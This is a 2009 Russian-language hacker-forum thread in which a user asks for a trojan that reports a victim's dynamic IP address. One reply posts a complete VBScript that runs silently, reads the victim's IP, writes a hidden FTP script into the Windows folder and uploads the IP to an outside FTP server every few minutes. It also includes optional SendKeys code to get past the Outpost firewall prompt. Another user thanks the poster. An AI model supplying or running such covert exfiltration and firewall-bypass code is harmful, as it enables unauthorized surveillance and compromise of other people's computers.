трой передающий ip жертвы

Discussion in 'Песочница' started by profile, 3 Nov 2009.

  1. profile

    profile New Member

    Joined:
    18 Feb 2009
    Messages:
    22
    Likes Received:
    0
    Reputations:
    -1
    собсна сабж.

    есть ли такой троян ? допустим ип динамический, и я бы хотел быть вкурсе какой ип у моей жертвы.
     
  2. Iohid

    Iohid Member

    Joined:
    18 Jul 2009
    Messages:
    27
    Likes Received:
    29
    Reputations:
    6
    я экстрасенс и я знаю какой ip у твоей жертвы! её\его ip 127.0.0.1
     
  3. ErrorNeo

    ErrorNeo Elder - Старейшина

    Joined:
    2 May 2009
    Messages:
    923
    Likes Received:
    836
    Reputations:
    402
    тематика троев на форуме запрешена.
    хотя то, что тебе нужно - вовсе не трой, а обычная программа, периодически шлющая пустые сообщения от одного компьютера другому.

    за $ есть, бесплатных - не знаю.
     
  4. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    vbs с возможностью обхода OutPost FireWall Pro 2009:
    Code:
    On Error Resume Next
    newfolderpath = "C:\WEB" 'Папка где находится скрипт
    login="фтп-логин"
    password="фтп-пасс"
    ftpp="ftp.narod.ru"
    '====================================================
    ' Узнаем текущий IP и пишем его в файл
    '====================================================
    set objLocator = WScript.CreateObject("WbemScripting.SWbemLocator")
        set objService = objLocator.ConnectServer (server, "", username, password)
        strQuery = "Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE"
        set objEnumerator = objService.ExecQuery(strQuery)
        for each obj in objEnumerator
            if Not IsNull(obj.IPAddress) then 
                for i=LBound(obj.IPAddress) to UBound(obj.IPAddress)
                    GetIPaddress = obj.IPAddress(i)
    'Узнаем текущий (реальный) наш IP
    Str = GetIPaddress
               next
            end if
    next
    FileDestination = "ip.txt"
    Set FSO = CreateObject("Scripting.FileSystemObject")
    Set Destination = FSO.CreateTextFile(FileDestination)
    Destination.WriteLine Str
    set Destination = Nothing
    Set FSO = Nothing
    set objLocator = Nothing
    '===============================================================================================================
    'Отправляем на фтп текущий IP
    'Отсылаем на ФТП на narod.ru
    'Создаем файл сценария для FTP.EXE 
    set FSO = CreateObject("Scripting.FileSystemObject") 
    Set WSHshell = WScript.CreateObject("WScript.Shell") 
    Set sDir = WSHshell.Environment("Process")    ' - находим путь к папке Windows 
    Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr")  '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз) 
    cScript.WriteLine "Open " & ftpp & "" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту 
    cScript.WriteLine "" & login & "" '- Имя пользователя 
    cScript.WriteLine "" & password & "" '- Пароль 
    cScript.WriteLine "drive C:" '- Выбраем диск С
    cScript.WriteLine "lcd " & newfolderpath ' - Устанавливаем папку, откуда будем отсылать данные
    cScript.WriteLine "prompt" ' - Отключаем всякий диалог по каждому файлу
    cScript.WriteLine "binary" ' - метод передачи файлов по FTP
    cScript.WriteLine "PUT ip.txt"'- Отправляем IP
    cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru 
    cScript.Close '- Конец записи в файл сценария 
    ' Запускаем FTP-сценарий 
    WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0
    ' Обходим фаер (в данном случае Outpost, если надо, раскоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------)
    'set w=CreateObject("WScript.Shell")
    'a=0
    'do
    'r=W.AppActivate("ftp.exe")
    'if r then
    'a=1
    'w.SendKeys "{tab 2}"
    'w.SendKeys "{enter}"
    'end if
    'loop until a=1
    'set w=Nothing
    '---------------------------
    Set fso = Nothing 
    Set WSHshell  = Nothing 
    '====================================================
    'А теперь запускаем цикл проверки на изменение IP
    '====================================================
    Const ForReading = 1
    Str=1
    s=2
    if Str<>s then
    While 1
    WScript.Sleep 10000 ' Сканим на изменение IP раз в 15 минут
        set objLocator = WScript.CreateObject("WbemScripting.SWbemLocator")
        set objService = objLocator.ConnectServer (server, "", username, password)
        strQuery = "Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE"
        set objEnumerator = objService.ExecQuery(strQuery)
        for each obj in objEnumerator
            if Not IsNull(obj.IPAddress) then 
                for i=LBound(obj.IPAddress) to UBound(obj.IPAddress)
                    GetIPaddress = obj.IPAddress(i)
    'Узнаем текущий (реальный) наш IP
    Str = GetIPaddress
               next
            end if
    next
    Set FSO = Nothing
    set objLocator = Nothing
    Set FSO = CreateObject("Scripting.FileSystemObject")
    Set ts = FSO.OpenTextFile("ip.txt", ForReading) 
       s = ts.ReadLine 
       ts.Close
    Set FSO = Nothing
    Set ts = Nothing
    if Str<>s then
    FileDestination = "ip.txt"
    Set FSO = CreateObject("Scripting.FileSystemObject")
    Set Destination = FSO.CreateTextFile(FileDestination)
    Destination.WriteLine Str
    set Destination = Nothing
    Set FSO = Nothing
    '===============================================================================================================
    'Отправляем на фтп новый IP (уже в цикле, каждые 15 минут, в случае, если IP изменился)
    'Отсылаем на ФТП на narod.ru
    'Создаем файл сценария для FTP.EXE 
    set FSO = CreateObject("Scripting.FileSystemObject") 
    Set WSHshell = WScript.CreateObject("WScript.Shell") 
    Set sDir = WSHshell.Environment("Process")    ' - находим путь к папке Windows 
    Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr")  '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз) 
    cScript.WriteLine "Open " & ftpp & "" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту 
    cScript.WriteLine "" & login & "" '- Имя пользователя 
    cScript.WriteLine "" & password & "" '- Пароль 
    cScript.WriteLine "drive C:" '- Выбраем диск С
    cScript.WriteLine "lcd " & newfolderpath ' - Устанавливаем папку, откуда будем отсылать данные
    cScript.WriteLine "prompt" ' - Отключаем всякий диалог по каждому файлу
    cScript.WriteLine "binary" ' - метод передачи файлов по FTP
    cScript.WriteLine "PUT ip.txt"'- Отправляем куки от IE
    cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru 
    cScript.Close '- Конец записи в файл сценария 
    ' Запускаем FTP-сценарий 
    WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0
    ' Обходим фаер (в данном случае Outpost, если надо, раскоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------)
    'set w=CreateObject("WScript.Shell")
    'a=0
    'do
    'r=W.AppActivate("ftp.exe")
    'if r then
    'a=1
    'w.SendKeys "{tab 2}"
    'w.SendKeys "{enter}"
    'end if
    'loop until a=1
    'set w=Nothing
    '---------------------------
    Set fso = Nothing 
    Set WSHshell  = Nothing 
    end if
    Wend
    end if
    
    Постоянно висит в памяти и каждые 15 минут проверят не изменился ли ip, если изменился - отсылает на ftp
     
  5. puagardian

    puagardian New Member

    Joined:
    2 Aug 2009
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    +Пашкела
    ПОМОГ
     
Loading...